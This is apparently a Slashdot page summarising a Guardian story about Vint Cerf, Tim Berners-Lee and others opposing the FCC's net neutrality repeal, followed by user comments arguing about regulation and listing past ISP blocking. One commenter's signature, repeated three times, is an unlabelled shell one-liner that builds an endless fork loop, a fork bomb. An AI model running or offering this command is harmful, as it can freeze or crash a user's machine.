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Net Neutrality: 'Father Of Internet' Joins Tech Leaders in Condemning Repeal Plan (theguardian.com)
More than 20 internet pioneers and leaders including the "father of the internet", Vint Cerf; the inventor of the world wide web, Tim Berners-Lee; and the Apple co-founder Steve Wozniak have urged the FCC to cancel its vote to repeal net neutrality, describing the plan as "based on a flawed and factually inaccurate" understanding of how the internet works. From a report: "The FCC's rushed and technically incorrect proposed order to repeal net neutrality protections without any replacement is an imminent threat to the internet we worked so hard to create. It should be stopped," said the technology luminaries in an open letter to lawmakers (PDF) with oversight of the Federal Communications Commission on Monday. The letter refers to the FCC's proposed Restoring Internet Freedom Order, which removes net neutrality protections introduced in 2015 to ensure that internet service providers (ISPs) such as Comcast, AT&T and Verizon would treat all web content and applications equally and not throttle, block or prioritise some content in return for payment. The FCC's vote on the proposed order is scheduled for 14 December and it is expected to be approved. "It is important to understand that the FCC's proposed order is based on a flawed and factually inaccurate understanding of Internet technology," the internet pioneers state, adding that the flaws were outlined in detail in a 43-page comment submitted by 200 tech leaders to the FCC in July.
Both the article and summary state Vint Cerf is the father of the Internet and Berners-Lee is the inventor of the World Wide Web.
Support Right To Repair Legislation.
GOP more or less says, "It gives companies freedom to innovate and create jobs. More freedom = more jobs & more innovation."
Of course there are practical limits to the benefits of high-freedom, and as most of us know, oligopolies usually end up abusing freedom to lock out competition and lock in customers; ruining what capitalism is supposed to provide in theory: competition and choice.
The bottom line is that telecom oligopolies spend a lot of campaign donations to get their way: and bribery works.
Table-ized A.I.
You're sure you're not a shill yourself?
No one pays me to post my opinions on Net Neutrality. Vint Cerf's employer, Google, does pay him to post his.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'd say the Internet worked pretty well with light touch regulation. Net Neutrality was only a legal requirement from 2015 when Wheeler was FCC chair. It was suspended in 2017 when Pai was chair. That period is too short to say it's 'better for 95% of humanity'.
https://en.wikipedia.org/wiki/...
Google obviously see it as good for them.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The Internet did work pretty well before it was mistakenly reclassified as an "information service". Still, this wasn't a problem until sufficient computational power became available within routers for deep packet inspection. This sort of practice should never have been allowed in the first place, and in a market absent competition, abuse was inevitable. Once the technology was available, large ISPs began their assault on net neutrality, and they didn't stop until forced to.
Here is a record of known abuses, which will only be the beginning should Pai have his way. That list is almost certainly incomplete, and abuses will grow to be much worse now that ISPs have unprecedented power to extort both customers and third parties alike.
MADISON RIVER: In 2005, North Carolina ISP Madison River Communications blocked the voice-over-internet protocol (VOIP) service Vonage. Vonage filed a complaint with the FCC after receiving a slew of customer complaints. The FCC stepped in to sanction Madison River and prevent further blocking, but it lacks the authority to stop this kind of abuse today.
So they got fined by the FCC and stopped doing it
https://www.cnet.com/news/telc...
COMCAST: In 2005, the nationâ(TM)s largest ISP, Comcast, began secretly blocking peer-to-peer technologies that its customers were using over its network. Users of services like BitTorrent and Gnutella were unable to connect to these services. 2007 investigations from the Associated Press, the Electronic Frontier Foundation and others confirmed that Comcast was indeed blocking or slowing file-sharing applications without disclosing this fact to its customers.
The FCC ruled against them and they said they'd move to different mechanisms to handle 'high bandwidth customers'.
https://www.eff.org/deeplinks/...
TELUS: In 2005, Canadaâ(TM)s second-largest telecommunications company, Telus, began blocking access to a server that hosted a website supporting a labor strike against the company. Researchers at Harvard and the University of Toronto found that this action resulted in Telus blocking an additional 766 unrelated sites.
This is bad. On the other hand Google and Facebook have also blocked content on political grounds on Youtube and Facebook and everyone told me 'private company, First Amendment doesn't apply'.
Obviously it's Canada so the First Amendment doesn't apply, and neither do FCC rules. It seems very bad though
https://thetyee.ca/News/2005/0...
AT&T: From 2007â"2009, AT&T forced Apple to block Skype and other competing VOIP phone services on the iPhone. The wireless provider wanted to prevent iPhone users from using any application that would allow them to make calls on such âoeover-the-topâ voice services. The Google Voice app received similar treatment from carriers like AT&T when it came on the scene in 2009.
Apple operate a walled garden and if AT&T convinced them to block apps from their store, they can do that. Net Neutrality doesn't affect this
WINDSTREAM: In 2010, Windstream Communications, a DSL provider with more than 1 million customers at the time, copped to hijacking user-search queries made using the Google toolbar within Firefox. Users who believed they had set the browser to the search engine of their choice were redirected to Windstreamâ(TM)s own search portal and results.
They were exposed in the press and backed off the change.
https://www.dslreports.com/sho...
MetroPCS: In 2011, MetroPCS, at the time one of the top-five U.S. wireless carriers, announced plans to block streaming video over its 4G network from all sources except YouTube. MetroPCS then threw its weight behind Verizonâ(TM)s court challenge against the FCCâ(TM)s 2010 open internet ruling, hoping that rejection of the agencyâ(TM)s authority would allow the company to continue its anti-consumer practices.
The service seems pretty terrible but who cares? It's not like you don't have a choice of other mobile carriers if you don't like it.
https://en.wikipedia.org/wiki/...
" Slate's Farhad Manjoo panned the service by suggesting that MetroPCS was able to
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;